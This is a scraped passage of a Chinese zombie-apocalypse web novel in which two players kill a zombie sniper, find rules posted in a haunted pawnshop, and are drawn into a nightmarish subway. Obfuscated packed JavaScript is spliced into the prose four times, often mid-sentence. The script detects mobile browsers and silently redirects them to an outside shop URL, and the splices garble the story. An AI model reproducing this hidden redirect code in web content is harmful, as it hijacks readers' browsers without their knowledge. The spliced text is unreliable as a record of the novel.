又一发子弹呼啸而来,精准地打在她们藏身花坛的上方边缘,混凝土碎块簌簌落下,砸在两人身上。这一枪的角度极其刁钻,若非容目提前发现,子弹很可能就会击中她们暴露的背部! “见鬼!还会战术移动!”林暖低骂一声,脸色更加难看,“这绝对不是普通的进化体,它甚至有基本的战术思维!” 容目的心也沉了下去。一个会使用武器、懂得隐蔽和转移、甚至能进行战术狙杀的丧尸……这已经完全颠覆了她对“丧尸”这种存在的认知。 “你的视力……能一直锁定它吗?”林暖快速问道,眼神锐利。 “可以试试,但很耗神。”容目集中精神,强忍住脑海里传出的刺痛,真视之瞳全力运转,死死盯住那个三层窗口。她能看到那个青灰色的身影正在窗口后方移动,似乎在重新装填子弹,而它额头中心的荧光红点正在不断地明灭闪烁。 “好!”林暖当机立断,“你当我的眼睛,告诉我它的准确位置,我们不能一直躲在这里当靶子!” 她深吸一口气,将一直提在手里的消防斧轻轻放在地上,转而从腰间摸出了一把看起来有些老旧但保养得很好的手枪:“它下一次探头瞄准的瞬间,告诉我!” 容目瞬间明白了林暖的意图——她要反击!用一把射程和精度远不如狙击枪的旧手枪,去对抗一个占据绝对地利的丧尸狙击手!这简直疯狂! 但看着林暖眼中那股不容置疑的决绝和冷静,容目把劝阻的话咽了回去。她知道,这是目前唯一的破局方法。 “明白!”容目重重点头,将所有注意力都集中在那个窗口。她的世界里仿佛只剩下那个不断移动的红色光点和可能出现的枪口。 时间一秒秒过去,空气凝固得令人窒息。 突然,容目看到那明红色的光点稳定下来,接着,一个黑洞洞的枪管轮廓再次从窗口边缘缓缓伸出。 “它要瞄准了!窗口偏左十五厘米,高度一致!”容目语速极快,报出精准位置。 几乎在她话音落下的同一瞬间! 林暖如同猎豹般猛地从花坛后探出半个身子,手臂稳定得不可思议,根本没有瞄准的过程,看起来完全是凭借直觉开了一枪。 “砰!” 手枪的声音远比狙击步枪清脆,在死寂的街道上震起一片回音。 下一秒,三层窗口处唰地爆开一小团暗色的血花!那个刚刚探出的狙击枪管无力地向上一扬,然后垂落下去,搭在了窗台上。 紧接着,一个青灰色的身影踉跄着从窗口后方显现,直挺挺地向前栽倒,从窗口摔了下来。 “咚——”重物落地的沉闷声响从远处传来。 【成功辅助击杀C级精英丧尸“潜伏的窥视者”,积分+100】 【真视之瞳熟练度大幅提升】 电子提示音在容目脑海中响起。 她愣愣地看着远处那个再无动静的窗口,又看了看身边缓缓收起手枪,脸色微微发白但眼神依旧锐利的林暖。 成功了!她们真的干掉了一个丧尸狙击手! 容目第一次如此清晰地认识到,拥有一个可靠的、经验丰富的队友,以及正确运 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039417|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用自己的能力,在这个末日般的副本里有多么重要。 “走!枪声会吸引更多东西!”林暖没有沉浸在胜利中,她迅速收拾好所有东西,捡起自己那把消防斧握在手里,领着容目向预定的方向冲去。 容目最后回头看了一眼那具摔得不成型的丧尸尸体,快步跟上林暖的脚步。 “这个副本有点邪门。”快速行进了五分钟左右,林暖毫无预兆地开口了,“我之前经历过两个D级副本,正常情况下难度应该比现在的E级副本大,但那两个副本中怪物的进化速度却远远没有如今的副本快。” “你的意思是……”容目神色一凛,“这个副本难度不对劲?” “相当不对劲。”林暖在快速行进中,气息依然平稳,她转头看了容目一眼,“从你这里就能看出来了。” 容目不由一愣,没反应过来她的意思。 “虽然我此前去的副本也不算多,但还是知道了一些消息。其中一条就是:越是低等级的副本中,新手获得异能的几率就越小,如果A级副本获得异能的几率为10%,那么B级就会骤降为4%至5%,以此类推,概率逐渐降低。”林暖顿了顿,似乎是重新组织了一下语言,“而E级副本,出于某种我们还不清楚的特殊原因,新手觉醒异能的概率为……零。” “零?”容目不自觉地重复了一遍,整个人都透着一股不可思议,“可是按照概率来算,异能获得几率再怎么低都至少会有零点零几吧,怎么会出现零这个结论?” “这就是问题所在。”林暖的声音压得更低,带着一种隐隐的警惕,仿佛在诉说一个不被允许的秘密,“‘零概率’不是统计出来的结果,而是副本规则之一。” 容目感觉一股寒意顺着脊椎爬升,她突然回想起了自己获得异能时听到的冰冷电子音——【检测到玩家综合素质达到随机异能标准,恭喜你超越90%玩家,获得一次异能抽取机会!】 综合素质……超越90%……奖励…… 当时她只以为是运气,但现在看来,这“奖励”本身,或许就是一种异常! 她一直听到的电子音究竟是副本正常播报的声音,还是……别的什么东西? 林暖的声音突然响起,打断了她未尽的思绪,“C级精英出现在E级副本,这本身就是一个异常现象。虽然这个C级并不算很强,但是也绝对不是E级副本应该承受的难度。” “而且,”她皱起眉头,“我曾经见过一次C级怪物,它们的力量层次绝不是现在的我们可比的,但刚才那个C级给我的感觉,就像是被削弱了……” 两人面面相觑,却都对如今的情况束手无策,完全摸不着头绪。 就这样沉默着走了一段路,两人各想着自己的心事,但都没忘记警戒四周。 呼呼的风声从空荡的街道间穿过,卷起一片尘土,在失去了人气的街道上肆虐。 林暖在前方带路,在拐过了一个摇摇欲坠的蓝色路标牌以后,她加快脚步,冲进了侧面的一条辅路,“快跟上,我们到了。” 容目也跟着冲进那条路,林暖已经站在一道门前等待她了。 容目快跑两步追上林暖,此刻,她终于看见了此行的目的地,歪歪扭扭的门牌上,烫金的大字熠熠生辉——福辉典当行。 5. 第5章 典当行 在容目又被灰尘呛了一口以后,她的心中依然充斥着一个大大的疑问:这里怎么会有一家典当行? 虽然她对这条街不是很熟悉,此前也并没有来过,但是她却知道这里是有名的商业街。 这太不合常理了。一家看起来很古旧的典当行,怎么会开在租金高昂、以时尚消费为主的步行街上?这就像是在甜品店里卖扳手,与周围的环境格格不入,尤其是在容目回想起刚才惊鸿一瞥间看见的几家精品服装店以后,这种违和感更加强烈了。 更令她疑惑的是,林暖是怎么知道还有这么一个地方的?这距离之前那家便利店可有不短的一段距离。 她看着林暖轻车熟路地走进去,靠在一张红木柜台上,不由得将自己的疑惑问了出来。 没想到林暖听了这句话,说出了一个她从未想过的答案:“哦,我前一个副本任务就是在这里完成的。” 前一个,副本任务? 似乎看见了容目脸上摸不清状况的神色,林暖也有点疑惑了:“就是副本给每个‘玩家’随机颁布的任务啊,完成任务以后,可以随机获得一些副本提示。你没有吗?” 看着容目摇了摇头,林暖有些头痛地揉了揉太阳穴,“这个副本里怎么出了这么多怪事。” 两人又对着沉默了一会,还是林暖先开了口,“所以,你现在对这个副本一无所知?” “我除了知道这是一个与丧尸有关的E级副本,其他的什么也不知道。”容目老老实实地回答,目光投向了墙角一盏莹莹亮着的暖黄色的煤油灯。 暖融融的黄色光芒映亮了两个人的面庞,也将典当行里为数不多的几件古董映得泛起了光彩。 “那我从头和你说吧。”林暖无奈地叹了口气。 空气里弥漫着旧木头、灰尘和一丝若有若无的陈旧纸张气味。 林暖靠在厚重的红木柜台旁边,神色严肃地开口:“首先,我们所在的这个地方被称之为‘副本’。你可以把它理解为一个独立于现实世界的异常空间,有着一套自己的规则和运行逻辑。” 容目屏息凝神地听着,补充着她所缺乏的知识体系。 “副本有等级之分,这你已经知道了。”林暖对她点点头,接着道:“从E级到S级,甚至更高,难度和危险程度递增。我们所在的这个,明面上标注的是E级,也就是最低难度,但……”林暖顿了顿,看了一眼紧闭的大门,“如你所见,情况完全不是那么回事。” “系统会随机挑选‘玩家’进入副本,玩家的任务通常是在副本中生存一段时间,或者完成某个特定目标,比如这次副本的主线任务就是存活三天。完成任务后,会根据表现获得积分奖励,积分可以在……嗯,一个类似结算空间的地方兑换各种东西,比如强化身体素质、治疗伤势,或者获取情报。” “而在这个主线任务之外,副本偶尔会发布一些支线任务,有时候能获得一些关于副本本身的提示或小奖励。”林暖轻轻敲了一下柜台,发出“哒”的一声轻响,“我上一个支线任务,就是来这家典当行取一件指定的典当品,然后送到你之前藏身的那家便利店里。” 她指了指周围:“所以我知道这个地方,而且根据之前的经验,这里在副本中算是一个相对安全的‘中立区域’,只要不违反它的规则,外面那些东西不会闯进来。这也是我带你来这里暂避的原因。” “暂避?”容目抓住了这个词,“难道不可以一直待在这里,直到副本时限结束吗?毕竟现在只剩下两天多一点了。” 林暖瞥了她一眼,摇摇头,轻叹了一口气,“这就是我接下来要说的事了。”她偏过头,望向典当行幽暗的内部,声音里透着点凝重:“我不知道这家典当行内部的规则是什么。” “你不知道?”容目的心微微一沉,“你不是来过吗?” 在煤油灯跳动的光芒中,她有一段时间没听见林暖的回应,她疑惑地望向林暖,对方似乎看见了什么恐怖的东西,面色微微发白,目光直勾勾地盯着角落,那里除了那盏煤油灯再无他物了,看不出有什么需要害怕的地方。 容目轻咳一声,再次开口:“林暖?” 林暖似乎突然回过神来,她猛地转过头,语气急促而严肃,这是容目遇见她以来头一次看见她如此紧张:“是你点亮的这盏灯吗?” “不是。”容目有些莫名其妙,但看林暖如临大敌的模样,她很配合地回忆着:“我进来的时候就已经有灯光了,我以为是你点亮的。” 说到这,容目面色也有点发白了,她咽了下口水,目光不自觉地飘向了静静燃烧的煤油灯,“万一是它本身一直没熄灭呢。” 林暖苦笑着,摇了摇头,“不会的,上次我来的时候,这里漆黑一片,我一直靠着手电筒在行动。” 煤油灯散发出的光芒扩散了一段距离,又渐渐地浅了、淡了,慢慢消融在周边的昏暗中,典当行没被照亮的部分都沉在一片漆黑里,仿佛在静静地等待着什么。 外面的风声、丧尸隐隐约约的嘶吼声,甚至远处可能的动静,全都听不见了。一时间,典当行里只剩下了两人轻轻的呼吸声,和越来越急促的心跳声。 “第二波尸潮应该已经开始了。”林暖的声音打破了一室寂静,她似乎已经整理好了自己的情绪,声线又恢复了平稳:“如果现在出去只会是死路一条,现在唯一的好处就是丧尸进不来‘中立区’,我们需要找到这里的规则,然后依靠规则在这里活下去。” 容目深深吸了一口充斥着些许霉味的空气,强压下乱跳的心脏,“那我们……”她才刚刚开口,却被一阵极其轻微、却清晰无比的“咔哒”声打断了。 声音来自柜台后方。 容目瞬间噤声,两人对视一眼,同时拿出了手电筒,向柜台后照去——那里有一扇通往内室的、低垂着厚重布帘的门。 武器不知何时已经被林暖悄然握在手中,她们浑身肌肉紧绷,警惕地望向那扇门。 布帘纹丝不动,门后也一片寂静,仿佛什么也没有。 但很快,“咔哒”声又一次响了起来,带着某种特定的节律,像是老式钟表上弦的声音,又像是某种机括被触发的响动。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039418|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 放置在她们身后的那盏煤油灯散发出的光芒突然在玻璃罩里晃动了一下,似乎被什么东西晃动了,发出了底座摩擦地面的“沙沙”响声。 二人闻声回头,然后就眼睁睁地看着那盏煤油灯自己慢慢地挪向了一旁,或者准确地说,像是被一只隐形的手推走了。火光摇曳,映得一室古玩器具的影子也跟着摇摇晃晃,如同一群张牙舞爪,择人而噬的妖魔。 一时间,室内安静极了,只有手电冷冷的白光,依然固执地照着一动不动的布帘。 “这……灯自己动了?”容目喃喃出声,还没从刚才的震撼中回过神来。 林暖没发话,她扭过头,皱起眉打量着挂在门上的布帘,不知道在想些什么。 突然,林暖手里的电筒光快速离开了她们一直严阵以待的布帘,回到了两人身前的红木柜台上。 “怎么了……”容目一声询问还含在嘴里,随即在看向柜台表面时就顿住了。 柜台台面上,原本空无一物,只有一层薄灰的地方,空气正在微微扭曲,如同水面投入石子般荡漾起波纹。紧接着,一张泛黄的、边缘有些卷曲的羊皮纸凭空缓缓浮现,悄无声息地落在了台面上,激起了一片轻薄的浮灰。 羊皮纸上,用一种暗红色的墨水书写了几行优雅的花体字,墨迹尚未干涸,似乎还富有生命力地流动着。 如果在平时,容目一定很愿意欣赏一下这像艺术品一样的字体,但是现在,这东西的出现似乎不是一个好兆头。 林暖晃了晃手电筒,看着那束光芒在柜台上画了个圈,沉声道:“这应该就是‘中立区’的规则了,希望不要太过困难。” 两人凑到柜台前,小心地不碰到那张羊皮纸,探出头阅读上面的字迹。 【福辉典当行——夜间营业规则】 刚看了这一句,容目不由得蹙起了眉,“夜间营业规则?现在不是上午吗?” “有的中立区存在自己的时间流速,和外界不一定一致。”林暖低着头阅读规则,不忘回答容目的问题,她苦笑了一下:“看样子这是一个夜间才会开启的中立区‘游戏’,我们刚好赶上了它的夜间‘营业’。” 容目来不及回应,忙低下头继续阅读。 无论是这羊皮纸出现的诡异方式,还是上面书写的内容,让整个典当行的气氛瞬间变得无比凝重和……危险。 【一、灯亮即营业,灯灭方可离。】 容目抬起头又看了一眼仍然亮着荧荧火光的煤油灯,在心里叹了口气,看样子,她们现在是真的没法离开了。 【二、典当需诚意,还价即失礼。】 【三、一物换一物,公平且自愿。】 【四、莫问来时路,莫探典当物。】 规则的下方,还有一行小小的字迹,即使以容目的视力也必须低下头,再稍稍眯起眼睛,才能看清上面的内容: 【今日收购:鲜活的“好奇心”/“恐惧”/“一段珍贵的记忆”】 【今日售卖:一条安全路径(剩余:壹)/一个问题的答案(剩余:壹)】 6. 第6章 中立区的生存规则 容目盯着最后一行“今日售卖”的内容看了一会,心慢慢地凉了下来。 “一条安全路径”只剩下了最后一个名额,这是不是意味着……她和林暖之间,只能活下去一个? “最后两行写的是什么?”林暖的声音从身侧响起,打断了容目一团乱麻般的思绪。这两行字在拥有视觉类异能的她看来都小的离谱,虽然林暖的异能战斗实力很强,但没有视觉异能的她肯定看不清。 而且,到现在还不知道林暖的异能是什么,如果最后她突然发难……但是她确实保护了我很多次,还教会了我很多知识……容目的心思再一次越飘越远。 “你怎么了?”林暖伸出手,在容目眼前晃了晃,“怎么又发起呆了?” “哦。”容目一个激灵回过神来,看着林暖略带关切的目光,不由鼻头一酸。她微微低下头,假装去看羊皮纸上最后两行的字迹,以此掩盖自己的异样。 然后,她听见自己的声音,平静,甚至可以说是过于冷静地念出了两句话:“今日收购:鲜活的‘好奇心’/‘恐惧’/‘一段珍贵的记忆’。” 顿了顿,她接着说下去:“今日售卖:两条安全路径。” 她说谎了,在这个致命的规则里。 她没抬头,依然盯着羊皮纸,好像要把它盯出一个洞来,容目看不见林暖的表情,只有自己不断跳动鼓噪的内心提醒着她刚刚的恶意。 她甚至有些希望林暖发现自己的谎言,这样她就不必一直背负着这种沉重的情绪,不用承担这样罪恶的因果了。 良久,林暖开口了,声音如常:“看样子,我们至少需要为典当行提供这三样东西,才能获得这两条安全路径了。” 她没发现。 容目重重吐了一口气,说不清楚自己此刻是什么心情。兴奋?狂喜?恐惧?后悔?她分不清,只觉得这种复杂的情绪强烈地几乎要烧穿她的胸膛。 她几乎想立刻告诉林暖自己的谎言,却又被理智死死压制住,化成了一片无力的沉默。 容目抬起头,尽力做出一个自然的表情,控制着自己如有千斤重的唇舌,回复了林暖的话:“是啊,我觉得也是这样,但是我们要去哪找这三样东西呢?” 林暖没有立刻回答,她沉思着,指尖无意识地敲击着红木柜台,发出轻微的“叩叩”声。煤油灯的光晕在她专注的侧脸上投下柔和的阴影,让她看起来异常沉稳。 “你觉不觉得,‘鲜活的’这个前缀有点奇怪。”林暖缓缓开口,分析道:“这意味着不能是普通的情绪或记忆,必须是正在发生的,极其强烈的情感。” 容目环视了一圈昏暗的典当行,目光从隐藏在暗影里的一件件物品上扫过,迟疑着开口:“但是,我们不能凭空产生出强烈的情绪。” “没错。”林暖赞许地点了点头,绕过红木柜台,走到了那条纹丝不动的布帘前,伸手掀开了它,露出后面镂空雕花的精美木门,“所以,答案只能在这家典当行内部,我们需要找到一个能让我们产生恐惧或好奇的地方。我猜,这道门后会有答案,一起进去吗?” 容目干涩地咽了咽嗓子,她敛下眼底的复杂情绪,不再看林暖清明而坚定的神色,低声回应:“好。” 她同样绕过柜台,站在了林暖身边。 她能感受到布帘有些粗糙的质感,应该是由某种动物毛发织成的,有点扎手,还散发着一股闷闷的温暖气息。 二人同时将手放在光滑的木门上,容目手下微微用力,木门无声地划开了,门轴显然保养得很好,没发出一丝响动。 门后是一片深邃的黑暗,什么也看不见,就连背后煤油灯的火光都没办法探入其中,只能在门框外无声地等待。 林暖鼓励地冲着容目微笑,做了一个“加油”的口型,然后率先走进了那片黑暗之中。 容目怔了片刻,深吸一口气,紧跟着迈步投入浓墨一般的漆黑里。 意识一瞬间变得昏昏沉沉,困倦如同潮水般涌上来,不断拉扯着眼皮,想把人拽入黑甜的梦乡。 好困……好想睡觉……让我睡一会吧……就十分钟也行…… 方案还没有改完啊……真的不想再开组会了…… 好累……真的不想上班了…… 等等!上班? 容目豁然惊醒,猛地睁开眼睛,却差点被突然映进视网膜的冷光刺激得流出眼泪来。 她不得不眯起眼睛适应了一会,这才缓缓转头,打量起了四周。 冷白的灯管一排排嵌在天花板上,持续而稳定地输送着冰冷的明亮,光洁的大理石地板如同刚刚被认真清扫过,纤尘不染,远处的墙角靠着一台高大的红色自动售卖机,里面的各色饮料散发着诱人的光泽,还有眼前一面将人与铁轨隔开的全自动玻璃幕墙…… 这是……地铁站? 容目望着玻璃幕墙上隐隐约约映出的属于自己的影子,不由有点恍惚。离开人类社会不过短短的一天多一点,她居然已经对这样按部就班的日子感到陌生了。 影子里的人依然一身普通的灰色衣裤,但是早就不复最开始的整洁干净,变得脏兮兮、乱糟糟,有的地方还破成了一条一条,沾上了不知道是谁的血迹,活像一个穷困潦倒的流浪汉。 她站在这里,却已经显得和周围格格不入。 容目摇摇头,把这些乱七八糟的思绪甩出脑海,现在不是想这个的时候。她明明记得自己和林暖是在典当行里推开了一扇门,要来寻找“鲜活的”情绪,怎么却进了一个地铁站?而且,这地铁站空空荡荡的,林暖人呢? 想到林暖,她的心又不自觉地抽痛了一下,但随即被她强压了下去。 现在的当务之急是找到同伴,并尽快完成中立区任务,不能再磨蹭下去了。 容目最后环顾了一圈这个毫无人气的地铁站,抬步准备找找出站口,总呆在这不是个办法,出去看看,万一林暖在站台外呢。 正当她转过头,抬起脚,即将迈出第一步的时候,她愣住了,一条腿悬在半空,半晌没有落下来。 刚才还空无一人的地铁站里,转眼间已经人声鼎沸。 人们挤挤挨挨地站在玻璃幕墙外,站在下行的扶梯上,每个人的脸上都带着高强度工作留下的麻木和劳累,那是用西装领带和精致妆容都遮不住的疲惫。 他们陆陆续续来到站台前,无声地刷着手机,或者靠在墙边打盹,等待着下一班地铁的到来,一切都沉浸在一种默剧般的肃穆中,让人压抑地喘不上气来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039419|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有人向此刻衣着不得体的容目看上一眼,也没人对她滑稽的姿势投以关注,大家保持着漠不关心的姿态经过她,然后安静地站好。 容目沉默着放下脚,这些人,她很熟悉。不是说她认识其中的某些人,而是以前她每天都和这样一群人过着类似的生活。半夜结束一天的加班工作,然后早上天刚蒙蒙亮又要起床去上班,为了节省时间,早饭随便在路边买点什么边走边吃,有时候在车上困得站着都能睡着,却还要不断在脑海里思考又要改版的方案和如何应对难缠的客户…… 方案是改不完的,班是加不完的,如果哪一天不小心迟到了或者晚上九点半以前下了班,那么很快就会接到主管的“绩效警告”,或者直接被“末位淘汰”。 这样高强度高压力的生活,磨灭了许多人的热情,也让每个人都拥有了同一张疲惫的面孔。 容目神情有些复杂,她站在人潮中默默看了一会,慢慢转过身,朝自动扶梯旁边空着的楼梯走去。 原来的生活和现在经历的危险究竟哪一个更值得她留恋?这是个问题。至少,她现在还没有答案。 五分钟以后,容目渐渐慢下脚步,盯着依然看不到尽头的楼梯有些发愣。 她转头看了看旁边的自动下行扶梯,那上面人满为患,和正在站台等车的人们一样面无表情,疲惫不堪。 但这不是重点,重点是……她向上看去,目光无限延伸,但看到的只有仿佛无穷无尽的人,背着公文包,穿着通勤装,如同复制粘贴一般站在扶梯上。 怎么会有这么长的扶梯?难道这个地铁站所在的地层深度超出正常地铁站的数十倍、数百倍吗?这太不符合常理了。 还是说……容目突然想到自己是从“中立区”内部来到这里的——是中立区不希望自己到上面去?它不希望我走出地铁站? 这个想法让她皱了皱眉,但看着遥远得仿佛没有边际的楼梯,她还是转过身,沿着楼梯向下走回去。 没想到,明明在上楼梯的时候走了很久,下楼时却快得不可思议,几乎在容目刚抬脚行走的下一刻,她已经迈下了最后一级楼梯,重新回到了站台上。 站台上的人越来越多了,挤挤挨挨地占满了每一寸地方,容目刚一走进站台,后面下来的人就立即跟了上来排在她身后,人挨人,人挤人,连转一个身都成了奢望。 她在拥挤的人群中尽力扭过头回望了一眼,通向楼梯的路已经彻底被堵死了。站台没有地方了,后来的人就只能站在楼梯上,越站越高,看起来甚至有点像一个巨型合唱团在排练队形。 这样称得上是壮观的早高峰,是容目此前从未体验过的。而且,这地铁来得未免也太慢了,从她来到这里到现在至少也有十多分钟了,怎么连一班地铁都没来过? 正在她感到奇怪的时候,地面突然开始微微地颤动起来,这颤动最初极其轻微,但很快就越来越明显,幅度越来越大,到最后几乎是地震一般的晃动!差点将容目抛离地面! 当她好不容易在七荤八素中稳住身形,重新找到平衡时,一对明亮得刺眼的车大灯骤然从黑暗的隧道深处冲了出来! 伴随着隆隆的响声和刺耳的刹车声,让上班族们久等的地铁终于停靠在了站台边。 7. 第7章 去上班吧 这种交通工具,真的还能叫做地铁吗? 容目盯着眼前这辆停稳的“地铁”,陷入了沉思。 不错,如果单看外表的话,这确实可以称得上是一列地铁。长条状的粉红色外壳泛着冰冷的金属光泽,透过玻璃窗可以看到内部粉红色的座椅和吊环扶手。除了颜色不太像正规地铁以外,没什么可挑剔的。 但是……谁家正常的地铁会像蚯蚓一样从地底钻上来啊! 刚看到车大灯的时候,容目第一眼还没反应过来,但是当那个车头后面的车厢接二连三地在她眼前“破土而出”,如同蚯蚓松土一样钻出来的时候,容目觉得,这个中立区可太有想象力了。再给她几百年,她怕是也想不出要把地铁和蚯蚓结合起来。 主要是,你想象一下,如果有一天一条高达两三米,长约两百米的巨大蚯蚓从地里钻出来,然后你还需要走进它打开的身体里……这种经历怕是毕生难忘了。 周边的人都面色如常,显然早就适应了这种“地铁”的外形和出现方式,只有容目面色发白,强忍着呕吐的欲望站在“车厢”前。 容目打心眼里不想进这班“地铁”,但是她现在身不由己——后面还排着无数上班族,他们推推搡搡向前走,裹挟着容目也不得不越来越靠近“车门”。 终于,容目被身后的一个人推得一个踉跄,跌跌撞撞地扑进了车厢内部。好在她眼疾手快地抓住了一个吊环扶手,才算险险止住了冲势,没有一头撞上另一边的一个乘客。 好在没撞上人,容目不由吐出了一口浊气。在没搞清楚这是什么情况之前,她不打算和这里的任何一个人有任何交流或肢体上的触碰。 稍稍放下了一颗心,容目突然觉得手上的触感不太对劲。 她抬起头,望向自己手中抓着的吊环。吊环也是粉红色的,触感柔软潮湿,还带着隐隐的弹性,在手心里微微地跳动,就好像……就好像她抓着的是一条还在扭动的粉红色蚯蚓! 容目心里一阵恶心,赶紧松开了吊环,跳到一边,在裤子上抹了两把,那种柔腻凉滑的触感却好像一直残留在手上,擦也擦不掉。 上车的乘客越来越多,很快填满了车厢的每一处角落,一位穿着黑色套裙的女士替代了容目原来站的位置,自然地握住了那个垂挂在头顶的吊环。 容目看了她一眼,又想起了自己刚才的体验,不由打了个哆嗦。 中立区里的人,姑且算作人吧,感觉都不太正常。 她移开视线,认真端详着周边人的脸,试图找到林暖那张熟悉的面孔。看了一圈以后,她毫不意外地叹了口气,果然,中立区不会那么容易就让她们两个团聚的。 她现在站的这个位置还算不错,是一个靠近消防栓的角落。她一边小心不碰上周边的人或者车厢厢壁,一边思考起了现在的处境。 中立区要的是鲜活的好奇心/恐惧/一段珍贵的记忆,但是目前看来,这个列车除了有点恶心人,还有点压抑之外,实在是谈不上恐惧,激不起好奇心,更别提“珍贵的记忆”了。 所以这个中立区把她扔到这到底想干什么? 她无意识地将手插进口袋,出神间,手指突然触碰到了什么东西有些粗糙的表面。 容目皱了皱眉,指尖掐住那个东西,把它从兜里拽了出来。 羊皮纸安静地躺在她的手心里,上面暗红色的字迹看起来依然湿润润的,闪着一点莹润的光芒。 那张柜台上的羊皮纸?容目细细端详了一会,发现这张羊皮纸除了比之前那张尺寸小了一半以外,无论是字迹还是颜色都一模一样。 这算是中立区给出的一个提示吗?容目竭力忽略林暖也一定有同样一张羊皮纸的事实,开始转移思路,那么这个提示又意味着什么呢? 就这么一低头的几秒钟,等她再抬起头来时,车厢内的景象发生了骇人的变化! 粉红色的墙壁变得斑驳、腐朽,渗出了暗黄色的粘液,仿佛某种生物的内壁。那些原本穿着通勤服的“乘客”们,身体开始扭曲变形,西装和裙装下鼓起不规则的蠕动肿块。他们的脸即使在粉红色灯光的映照下也再无一丝红润,而是透着遮掩不住的青灰腐败。 似乎是察觉到了容目的目光,周边的人慢慢地转动脖颈,眼神空洞地直直盯着她。 细细密密的“沙沙”声不知从何处响起了,仿佛一条多足行走的昆虫,贴着容目耳边从容滑过。 如同一桶冰水兜头浇下,强烈的恐惧瞬间攫住了她,令她连呼吸都有点困难。 尽管早就有了预感,但是容目依然不由自主地打了个寒战,这一车厢的乘客,根本就不是人! 手中的羊皮纸隐隐散发出热度,但此刻的容目却无暇顾及,只是紧紧地盯着这些“乘客”,如此多的怪物,如果同时攻击的话,她根本毫无幸理。 但是,在又一次眨眼过后,一切都恢复了正常。乘客们的身体恢复成了原本的样子,头颅扭转回去,不再对她表示多余的关注,他们脸上的表情也依然平静而麻木,透着浓浓的疲惫。只留下容目一个人如临大敌地站在原地,像一个荒诞戏剧落幕后还不肯离场的演员。 容目看着不再有进一步动作的乘客们,慢慢地、慢慢地低下头,看向了手中依然散发着丝丝热度的羊皮纸。 “今日收购”那一栏里,“鲜活的‘恐惧’”这一行字颜色变得浅了一点,从深红变成了鲜明的正红色,看起来反倒比之前更醒目了,也不怪容目第一眼就看到了它,此刻,这行字在她有些诧异的注视中,正像星星一样一闪一闪地发着光。 “这是……什么?”容目诧异之下,竟将这句话问出了声。 没想到听见了她的声音,羊皮纸居然产生了变化! 羊皮纸上的所有字迹都像被水晕开了一样,荡开了一层一层的涟漪,那些红墨水般的颜色扭动了一会,很快找到了自己的位置,渐渐排列成行。 【鲜活的“恐惧”,目前收集进度20%】 这一行文字只持续了短短的两三秒,几乎在容目刚刚看清内容的同时,就被重新打散,形成了另外几个字,短短几个字,却带给了容目更强烈的困惑: 【提示:去上班吧~】 容目盯着“提示”末尾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039420|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个小小的波浪号看了一会,对中立区的恶趣味表示不理解。 收集进度20%她倒是明白,刚才自己因为看到“乘客”们真实面目时散发出的恐惧,应该已经被中立区接受到了,接下来还需要凑够80%。 一想到自己在接下来还要源源不断地产生“恐惧”这种情绪,容目暗暗皱了皱眉头。如果都像是刚才那样只是恐吓,但没有实质性攻击行动还好,如果在产生恐惧的同时,中立区还要想方设法地攻击她……那可就难办了。 还有这个莫名其妙的提示,叫她去上班?她能去哪里上班? 正当她百思不得其解时,地铁车厢内的扩音器中响起了柔和的播音女声,这声音温温柔柔,吐字发音也很标准,但是不知道为什么,声音里散发着一股阴冷的气息,好像有什么冷血爬行动物在暗中窥视着一切,让人毛毛的不舒服。 “前方到站——盛德公司,请要下车的乘客提前做好下车准备,不要错过下车站点,本车过时不候。” 这播音如同一个隐秘的信号,又好像打开了一个神秘的开关,刚刚播报完毕,车厢内的气氛就悄然间发生了变化。 原本面无表情、疲惫不堪的乘客们,突然间变得焦躁起来,“他们”不安地抓紧了自己的公文包,不自觉地移动着身体的重心,甚至有人在有限的空间中见缝插针地做起了热身运动! 容目疑惑地左右看了一圈,依然没弄明白这焦灼的气氛由何引起,怎么看,这帮身材瘦弱的家伙都不像是能承受得起剧烈体育运动的样子。 